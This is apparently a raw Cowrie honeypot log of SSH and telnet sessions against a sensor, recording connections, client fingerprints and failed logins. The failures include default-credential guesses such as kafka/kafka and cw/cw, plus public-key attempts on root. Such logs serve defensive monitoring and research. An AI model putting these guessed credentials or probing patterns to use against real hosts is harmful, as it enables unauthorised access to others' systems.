{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:04.305067Z","src_ip":"1.13.22.203","session":"ed141bbacfee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":37784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f63d034337","protocol":"ssh","message":"New connection: 47.239.15.75:37784 (159.203.135.109:22) [session: a6f63d034337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:06.532771Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49360,"dst_ip":"159.203.135.109","dst_port":23,"session":"36cb812b74f4","protocol":"telnet","message":"New connection: 147.182.143.59:49360 (159.203.135.109:23) [session: 36cb812b74f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:07.751642Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:08.690947Z","src_ip":"47.239.15.75","session":"a6f63d034337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":51026,"dst_ip":"159.203.135.109","dst_port":22,"session":"2029a7a912f5","protocol":"ssh","message":"New connection: 47.239.15.75:51026 (159.203.135.109:22) [session: 2029a7a912f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:12.989621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:12.994384Z","src_ip":"47.239.15.75","session":"2029a7a912f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49362,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aa71ec94fd2","protocol":"telnet","message":"New connection: 147.182.143.59:49362 (159.203.135.109:23) [session: 8aa71ec94fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:15.068010Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:15.127905Z","src_ip":"47.239.15.75","session":"2029a7a912f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.07842302322388,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:21.937800Z","src_ip":"45.58.127.90","session":"157250774da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.097387313842773,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:22.848907Z","src_ip":"147.182.143.59","session":"36cb812b74f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.385208129882812,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:29.453096Z","src_ip":"147.182.143.59","session":"8aa71ec94fd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.93329453468323,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:30.888393Z","src_ip":"45.58.127.90","session":"0085288139c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45500,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3c873f333ec","protocol":"telnet","message":"New connection: 147.182.143.59:45500 (159.203.135.109:23) [session: e3c873f333ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:31.602476Z"}
{"eventid":"cowrie.session.closed","duration":9.399338722229004,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:41.001684Z","src_ip":"147.182.143.59","session":"e3c873f333ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":46736,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ea204a77fd1","protocol":"ssh","message":"New connection: 47.239.15.75:46736 (159.203.135.109:22) [session: 4ea204a77fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:41.277209Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33142,"dst_ip":"10.17.0.5","dst_port":23,"session":"efd043366477","protocol":"telnet","message":"New connection: 45.58.127.90:33142 (10.17.0.5:23) [session: efd043366477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:57:50.834355Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38088,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e6f5116618","protocol":"telnet","message":"New connection: 45.58.127.90:38088 (10.17.0.5:23) [session: 75e6f5116618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:13.461428Z"}
{"eventid":"cowrie.session.closed","duration":44.97252535820007,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:35.806746Z","src_ip":"45.58.127.90","session":"efd043366477","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36130,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6b76bec907","protocol":"telnet","message":"New connection: 45.58.127.90:36130 (10.17.0.5:23) [session: 9e6b76bec907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:45.822803Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36140,"dst_ip":"10.17.0.5","dst_port":23,"session":"88d71635abfd","protocol":"telnet","message":"New connection: 45.58.127.90:36140 (10.17.0.5:23) [session: 88d71635abfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:48.000265Z"}
{"eventid":"cowrie.session.closed","duration":36.82002830505371,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:50.281358Z","src_ip":"45.58.127.90","session":"75e6f5116618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36940,"dst_ip":"10.17.0.5","dst_port":23,"session":"080297541f67","protocol":"telnet","message":"New connection: 45.58.127.90:36940 (10.17.0.5:23) [session: 080297541f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:52.357419Z"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:53.438135Z","src_ip":"47.239.15.75","session":"2029a7a912f5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:57.937799Z","src_ip":"47.239.15.75","session":"4ea204a77fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:58:57.942071Z","src_ip":"47.239.15.75","session":"4ea204a77fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba28d3a6ac77","protocol":"telnet","message":"New connection: 45.58.127.90:40152 (10.17.0.5:23) [session: ba28d3a6ac77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:01.343026Z"}
{"eventid":"cowrie.session.closed","duration":"113.0","message":"Connection lost after 113.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:05.957762Z","src_ip":"47.239.15.75","session":"2029a7a912f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:16.266563Z","src_ip":"47.239.15.75","session":"4ea204a77fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.254.17.136","src_port":37238,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a706e87d3d3","protocol":"ssh","message":"New connection: 51.254.17.136:37238 (10.17.0.5:22) [session: 7a706e87d3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.345634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.355445Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.446670Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39742,"dst_ip":"159.203.135.109","dst_port":23,"session":"60bde699442c","protocol":"telnet","message":"New connection: 147.182.143.59:39742 (159.203.135.109:23) [session: 60bde699442c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.657701Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:14:97:68:ba:9b:57:fd:55:1a:7c:39:7a:37:8e:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPp0qIBhehHrAXzs0zV2Q6ZLyielDEdEVrIg3xiDniFj3p+1Lo9yzYIR1+QXyUAg8fIBWN21KG927nEJ+MpJ1ACvyeT5n3L5c0BZz5FckumMPQZQ5rr3juW07ALxeskBn4qqB5ncjmNmWibJfgHVgTfQd7DyePpm9XLQ/ES+RqeTkUqNGF3OVpH/8R+KvXaOjgMc3kSqx/cclQuX316rsBuP0luhk4wfosKnxh8r93ypDsRo3JBj+fmW24Xf9oJdUmCEKdq5NfLQfU1idOhmZBU1/1+WD2whsEeGzuIFvsDToC7z2w+0DntBfYSxN4Z1d/UO7DwKMXxf5YjFlLim0t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:14:97:68:ba:9b:57:fd:55:1a:7c:39:7a:37:8e:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.825811Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:14:97:68:ba:9b:57:fd:55:1a:7c:39:7a:37:8e:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPp0qIBhehHrAXzs0zV2Q6ZLyielDEdEVrIg3xiDniFj3p+1Lo9yzYIR1+QXyUAg8fIBWN21KG927nEJ+MpJ1ACvyeT5n3L5c0BZz5FckumMPQZQ5rr3juW07ALxeskBn4qqB5ncjmNmWibJfgHVgTfQd7DyePpm9XLQ/ES+RqeTkUqNGF3OVpH/8R+KvXaOjgMc3kSqx/cclQuX316rsBuP0luhk4wfosKnxh8r93ypDsRo3JBj+fmW24Xf9oJdUmCEKdq5NfLQfU1idOhmZBU1/1+WD2whsEeGzuIFvsDToC7z2w+0DntBfYSxN4Z1d/UO7DwKMXxf5YjFlLim0t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.829711Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:09:55:9c:79:42:63:68:ba:d4:5e:92:d4:a4:c3:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtnvt1k1hFa3HDd6WVfgC3pNMY4l4RVB6odyzyKWxWPjQbtOXyUuZapUgpsnMVxLT8BZOrwoV2FRJ4Klg7PU9g78FrSv4a1iGtF9RdAyYmlxSlf7JA4Y4yAp8AZA25UTezGoo+PeALzoZ+elV+0+89kHRcaPi7v7szQ7NCAo4gbDXV9qlO1fiKzQksgcI2Ny7b1nq45sUXI+lLoVhCGT1qd2uUXwPtrYpH3er3TljzXAbEEHqx/fFyuSTwyL6bHUeKe4NPlT3D1hyJ5g/kS1OVABxKlm/thxocebXqqONbaXjE40Xr2RiMh6l2e7XjcHje/RDyg+YDptl0oxe6rubEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:09:55:9c:79:42:63:68:ba:d4:5e:92:d4:a4:c3:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.910779Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:09:55:9c:79:42:63:68:ba:d4:5e:92:d4:a4:c3:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtnvt1k1hFa3HDd6WVfgC3pNMY4l4RVB6odyzyKWxWPjQbtOXyUuZapUgpsnMVxLT8BZOrwoV2FRJ4Klg7PU9g78FrSv4a1iGtF9RdAyYmlxSlf7JA4Y4yAp8AZA25UTezGoo+PeALzoZ+elV+0+89kHRcaPi7v7szQ7NCAo4gbDXV9qlO1fiKzQksgcI2Ny7b1nq45sUXI+lLoVhCGT1qd2uUXwPtrYpH3er3TljzXAbEEHqx/fFyuSTwyL6bHUeKe4NPlT3D1hyJ5g/kS1OVABxKlm/thxocebXqqONbaXjE40Xr2RiMh6l2e7XjcHje/RDyg+YDptl0oxe6rubEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.914554Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:a1:a3:ac:f1:94:44:68:b0:74:4a:17:fe:b5:a3:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEefqoarqpZg1wPnwgRY1HQTe5whVMdg1hNp+33d6Jhc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e5:a1:a3:ac:f1:94:44:68:b0:74:4a:17:fe:b5:a3:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.994747Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:a1:a3:ac:f1:94:44:68:b0:74:4a:17:fe:b5:a3:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEefqoarqpZg1wPnwgRY1HQTe5whVMdg1hNp+33d6Jhc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:23.998577Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:4f:ad:54:9b:95:85:53:b6:89:69:88:00:b7:65:ad","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIQjB9xLO9c9QQMaU4RVBRqo5Pl792cQnymm+wYRqS3ut4ejyMOMsGmoCyzEjdovHlXMpOHWHt5KD4uUArTFmd29NRMoJQTAJo9BdSlgrHtjACxSv3CkOM/EGkSkxaQxHUwESvF3b7c62UV1BKYUQfYwhKlETjo9aRcRG3rci0k9AAAAFQC7vOoA5rlgwy5AK6Nl/xFVp993fQAAAIAKtDXqyZGiMBEqOGvX7ttn6uPp/JfOhq7zg56FOH0sQ3fW6DOW3BlSMwbej1qPBRXvnGQIewx2ZgsFyv950pGjgV5+m2IRLuANRODkBrVH1w4oDL2OTe9kss3rhuLIQNtQAm21b0zBGc2NX3kat/AaTIE3XPRwOfUd/uK52IkMdwAAAIBvvrFXO6ekCwoPQJb7yz5vHEVeIVy2VPidnIkOqA7JgsCbu4zbGTALXGxGxSFdaBrm0OObetvJYG02IpDhRQMB3vdHEiuknJxBLDBLiSjie/Bh8nffzsSGATNXQHrBXaxaLlooL9PFj+aSb5f6R8CESseIUO7rta1kZgtheMqwmg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 9d:4f:ad:54:9b:95:85:53:b6:89:69:88:00:b7:65:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:24.184642Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:4f:ad:54:9b:95:85:53:b6:89:69:88:00:b7:65:ad","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIQjB9xLO9c9QQMaU4RVBRqo5Pl792cQnymm+wYRqS3ut4ejyMOMsGmoCyzEjdovHlXMpOHWHt5KD4uUArTFmd29NRMoJQTAJo9BdSlgrHtjACxSv3CkOM/EGkSkxaQxHUwESvF3b7c62UV1BKYUQfYwhKlETjo9aRcRG3rci0k9AAAAFQC7vOoA5rlgwy5AK6Nl/xFVp993fQAAAIAKtDXqyZGiMBEqOGvX7ttn6uPp/JfOhq7zg56FOH0sQ3fW6DOW3BlSMwbej1qPBRXvnGQIewx2ZgsFyv950pGjgV5+m2IRLuANRODkBrVH1w4oDL2OTe9kss3rhuLIQNtQAm21b0zBGc2NX3kat/AaTIE3XPRwOfUd/uK52IkMdwAAAIBvvrFXO6ekCwoPQJb7yz5vHEVeIVy2VPidnIkOqA7JgsCbu4zbGTALXGxGxSFdaBrm0OObetvJYG02IpDhRQMB3vdHEiuknJxBLDBLiSjie/Bh8nffzsSGATNXQHrBXaxaLlooL9PFj+aSb5f6R8CESseIUO7rta1kZgtheMqwmg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:24.188748Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:17:16:1f:b7:7c:5a:03:83:53:21:93:7b:15:c3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbokEnYaXvXorcdI4ky43QsuaxRxZLmVew2ioyvXhy6Fx+W+B0UZQqEQ5xrSb5OnoNq+drLit1zt/FYsTL8/AZA7PZ11O1pK8fWpuz01DTYaN0ta+PfGVcgwI7N9CNcHgsfP6vSyKoxHczk3PwFqDtkZulzAhK1LG/XxKQdcVBZb+o+18Ph2AJGmXLWAZfJR6zML8K8bbnr88r+N1na1OyYeQoljP4JP7A2aQotjyTdE/bqEs3Z01lzPWDDdB98PNt4VQWgswd/BuWEUXyvmCtza8xdjD4MHfu1dEuvShpjp4EQfFkp2Y3+3bLKJuoLcZbQWHgwiVRh3S19Hl+sfWhTC4XHxsgnQqQ9zicG+vA306ujQjDj/5diAlEhQuXAmrQn9pbNoZQJebGzbsuWxtH54ScmXpktM4mEiNtYxPiC33mKMGN+Be15zZQ1jPv021WY2yJWgvLmsfJKFY0Xlx7qFZVXDgPh+cO2KCx7gIOvWkvxv3NId5Fq/jdybzt/ZXIt6LqLD45fNeLqt7nh038GzZOs9qUpg/FUsLG7Cr1Dg4Q3JzatRNjeF5Ctg0CRvKNVAIaaFGHOfi+/CL+UIfAMvyOTW4GO0bs0fBUMhjkfWDonf89i3xXwkXfSpLC8rpJu+XrYH3l0vm7wmj2y1f+E+nvNXyFd+dj3bIbLKN9yw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:17:16:1f:b7:7c:5a:03:83:53:21:93:7b:15:c3:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:24.269675Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
